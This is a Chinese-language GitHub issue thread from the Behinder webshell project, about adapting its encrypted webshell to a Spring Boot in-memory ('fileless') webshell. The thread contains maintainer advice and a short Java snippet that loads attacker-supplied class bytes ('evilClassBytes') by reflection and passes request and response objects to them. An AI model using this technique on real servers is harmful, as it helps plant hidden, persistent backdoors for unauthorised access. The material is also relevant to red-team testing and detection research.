rebeyond / Behinder

“冰蝎”动态二进制加密网站管理客户端
5.83k stars 966 forks source link

想尝试修改到Spring boot 内存马的支持中,而Spring没有pageContext对象 #151

Open ethushiroha opened 3 years ago

ethushiroha commented 3 years ago

我的项目。 参考了您的memshell项目 正希望兼容冰蝎,由于Spring没有pageContext对象,不知从何入手。 可否指教一二,不胜感激

rebeyond commented 3 years ago

新版本冰蝎服务端不再依赖pageContext,你可以参考下v3.0 Beta7的内存服务端。

ethushiroha commented 3 years ago

能否稍微具体一点,是哪个类呢。 我看了您的冰蝎代码,有以下疑问:

  1. 在 net.rebeyond.behinder.payload.java.Memshell$doAgentShell 中使用了agent进行注入,注入的对象应该是 resource/tools/tools_1.jar(linux),但是在doAgentShell中采用了base64编码,而agentmain中并没有解密。
  2. 没有直接连接Spring mem shell的选项(选jsp吗?)
rebeyond commented 3 years ago

答复: 1.内存马传入的对象只要有request和response即可。 2.是的,选jsp。

Libraggbond commented 3 years ago
obj.put("session",session);
 obj.put("request",request);
 obj.put("response",response);
java.lang.Class  c=(java.lang.Class)defineMethod.invoke((java.lang.Object)cl,new Object[]{null,java.nio.ByteBuffer.wrap(evilClassBytes),null});
c.newInstance().equals(obj);

另外,beta10把客户端的Content-type改成了application/octet-stream,对于springboot来说获取postdata容易了很多